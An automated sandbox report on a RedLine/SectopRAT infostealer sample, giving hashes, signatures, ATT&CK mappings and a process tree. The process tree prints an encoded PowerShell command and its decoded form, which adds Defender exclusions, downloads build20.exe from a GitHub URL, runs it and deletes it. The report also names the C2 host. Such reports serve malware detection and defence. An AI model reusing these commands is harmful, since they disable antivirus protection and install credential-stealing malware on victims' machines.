redline | b49d73fd66670362b72f74cbfe4816329b8c74bcb9c6a56a2e962d8afd2c6bad

Analysis

max time kernel
101s
max time network
103s
platform
windows11-21h2_x64
resource
win11-20250619-en
resource tags

arch:x64arch:x86image:win11-20250619-enlocale:en-usos:windows11-21h2-x64system
submitted
29/08/2025, 03:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2025-08-29_4d3a87cb9325abf631c81ebb64ee162e_.exe
Size 974KB
Sample250829-dpyg7sysbv
SHA256 b49d73fd66670362b72f74cbfe4816329b8c74bcb9c6a56a2e962d8afd2c6bad
MD5 4d3a87cb9325abf631c81ebb64ee162e
SHA1 1ff315eb4f2594781f038b8f05ff852b4e8171e3
SHA512 2f65b4616cce2eb50f198d6aad19646b7e579a95d50aa072726480d30042a8081436319f75a73711b572f3e84faa2db26e313b88589bd4189fe007cf23493656
SSDEEP 12288:RmTNh7sB/TVOv2JkVtNmnQIiImZJpRh0y9pxJs:RqNh7sB/TV5JkVtNmnQIi1h06f
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

alice2 discovery execution redline sectoprat infostealer rat trojan

Malware Config

Extracted

Family

redline

Botnet

ALICE2

pepesigmarespect.servemp3.com:25920

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 2 IoCs

resource	yara_rule
behavioral2/files/0x001d00000002ae9e-31.dat	family_redline
behavioral2/memory/224-38-0x0000000000B00000-0x0000000000B1E000-memory.dmp	family_redline

Redline family
redline
SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 2 IoCs

resource	yara_rule
behavioral2/files/0x001d00000002ae9e-31.dat	family_sectoprat
behavioral2/memory/224-38-0x0000000000B00000-0x0000000000B1E000-memory.dmp	family_sectoprat

Sectoprat family
sectoprat

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	5116	powershell.exe
3	5116	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5116	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
224	build20.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
3	raw.githubusercontent.com

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	build20.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4868	powershell.exe
4868	powershell.exe
5116	powershell.exe
5116	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4868	powershell.exe
Token: SeDebugPrivilege	5116	powershell.exe
Token: SeDebugPrivilege	224	build20.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1624 wrote to memory of 4436	1624	2025-08-29_4d3a87cb9325abf631c81ebb64ee162e_.exe	80
PID 1624 wrote to memory of 4436	1624	2025-08-29_4d3a87cb9325abf631c81ebb64ee162e_.exe	80
PID 4436 wrote to memory of 4868	4436	cmd.exe	81
PID 4436 wrote to memory of 4868	4436	cmd.exe	81
PID 4868 wrote to memory of 5116	4868	powershell.exe	82
PID 4868 wrote to memory of 5116	4868	powershell.exe	82
PID 5116 wrote to memory of 224	5116	powershell.exe	84
PID 5116 wrote to memory of 224	5116	powershell.exe	84
PID 5116 wrote to memory of 224	5116	powershell.exe	84

C:\Users\Admin\AppData\Local\Temp\2025-08-29_4d3a87cb9325abf631c81ebb64ee162e_.exe
"C:\Users\Admin\AppData\Local\Temp\2025-08-29_4d3a87cb9325abf631c81ebb64ee162e_.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1624
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c Powershell -enc UwBUAEEAUgBUACAAUABPAFcARQBSAFMASABFAEwATAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAIAAnAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACAALQBGAE8AUgBDAEUAIAA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFcASQBOAEQATwBXAFMAIAAtAEYATwBSAEMARQAgADsAIABDAFUAUgBMACAALQBPACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAGIAdQBpAGwAZAAyADAALgBlAHgAZQAiACAAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBlAHUAYwBhADQAMAA0AC8AdABlAHMAdABwAGUAcABlAGMAaABlAGMAawBlAHIALwByAGEAdwAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAaQBuAC8AYgB1AGkAbABkADIAMAAuAGUAeABlACAAOwAgAFMAVABBAFIAVAAgACQAZQBuAHYAOgBUAEUATQBQAFwAYgB1AGkAbABkADIAMAAuAGUAeABlACAAOwAgAFMAVABBAFIAVAAtAFMATABFAEUAUAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA2ADAAMAAwACAAOwAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0AcABhAHQAaAAgACQAZQBuAHYAOgBUAEUATQBQAC8AYgB1AGkAbABkADIAMAAuAGUAeABlACcAIAAtAFYAIAByAHUAbgBBAHMA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4436
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell -enc UwBUAEEAUgBUACAAUABPAFcARQBSAFMASABFAEwATAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAIAAnAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACAALQBGAE8AUgBDAEUAIAA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFcASQBOAEQATwBXAFMAIAAtAEYATwBSAEMARQAgADsAIABDAFUAUgBMACAALQBPACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAGIAdQBpAGwAZAAyADAALgBlAHgAZQAiACAAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBlAHUAYwBhADQAMAA0AC8AdABlAHMAdABwAGUAcABlAGMAaABlAGMAawBlAHIALwByAGEAdwAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAaQBuAC8AYgB1AGkAbABkADIAMAAuAGUAeABlACAAOwAgAFMAVABBAFIAVAAgACQAZQBuAHYAOgBUAEUATQBQAFwAYgB1AGkAbABkADIAMAAuAGUAeABlACAAOwAgAFMAVABBAFIAVAAtAFMATABFAEUAUAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA2ADAAMAAwACAAOwAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0AcABhAHQAaAAgACQAZQBuAHYAOgBUAEUATQBQAC8AYgB1AGkAbABkADIAMAAuAGUAeABlACcAIAAtAFYAIAByAHUAbgBBAHMA
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4868
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:USERPROFILE -FORCE ; Add-MpPreference -ExclusionPath C:\WINDOWS -FORCE ; CURL -O "$env:TEMP\build20.exe" https://github.com/euca404/testpepechecker/raw/refs/heads/main/build20.exe ; START $env:TEMP\build20.exe ; START-SLEEP -Milliseconds 6000 ; Remove-Item -path $env:TEMP/build20.exe
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5116
    - - C:\Users\Admin\AppData\Local\Temp\build20.exe
        
        "C:\Users\Admin\AppData\Local\Temp\build20.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:224

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
MD5 88dc70c361a22feac57b031dd9c1f02f
SHA1 a9b4732260c2a323750022a73480f229ce25d46d
SHA512 19c0532741ebc9751390e6c5ca593a81493652f25c74c8cab29a8b5b1f1efef8d511254a04f50b0c4a20724bae10d96d52af7a76b0c85ddc5f020d4cac41100c
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0
MD5 1a11402783a8686e08f8fa987dd07bca
SHA1 580df3865059f4e2d8be10644590317336d146ce
SHA512 5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_rqy05oxy.jtl.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rqy05oxy.jtl.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

build20.exe

Path C:\Users\Admin\AppData\Local\Temp\build20.exe
Size 95KB
SHA256 2d18440cd33a632db4305a1cfc552facf7591668e83cf34c5851cc94afd78aa8
MD5 7e6374dc248096dd96bd91084d494716
SHA1 cbf42b70d643aea482a66c97155cafbfa4fa7b53
SHA512 7eee8cf2665f454d60f6dfbd64f5372f1d2a681a1cf88a4e91d6fbacfa197c209072bf33caea67c34b371940555f8ca0d0251f2fa5f8737000d6a72a086c8eb9
SSDEEP 1536:OqsoEUq5klbG6jejoigI/43Ywzi0Zb78ivombfexv0ujXyyed2ctmulgS6pc:s7UycY/+zi0ZbYe1g0ujyzdIc
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/224-40-0x0000000005580000-0x0000000005592000-memory.dmp

Download

memory/224-43-0x0000000005890000-0x000000000599A000-memory.dmp

Download

memory/224-45-0x0000000006B90000-0x0000000006D52000-memory.dmp

Download

memory/224-42-0x0000000005630000-0x000000000567C000-memory.dmp

Download

memory/224-41-0x00000000055F0000-0x000000000562C000-memory.dmp

Download

memory/224-46-0x0000000007290000-0x00000000077BC000-memory.dmp

Download

memory/224-38-0x0000000000B00000-0x0000000000B1E000-memory.dmp

Download

memory/224-39-0x0000000005BD0000-0x00000000061E8000-memory.dmp

Download

memory/1624-14-0x0000000000400000-0x00000000004FF000-memory.dmp

Download

memory/4868-11-0x0000021CE3440000-0x0000021CE3450000-memory.dmp

Download

memory/4868-0-0x0000021CE3440000-0x0000021CE3450000-memory.dmp

Download

memory/4868-7-0x0000021CCB270000-0x0000021CCB292000-memory.dmp

Download

memory/4868-1-0x0000021CE3440000-0x0000021CE3450000-memory.dmp

Download

memory/5116-16-0x00000162349A0000-0x00000162349B0000-memory.dmp

Download

memory/5116-17-0x00000162349A0000-0x00000162349B0000-memory.dmp

Download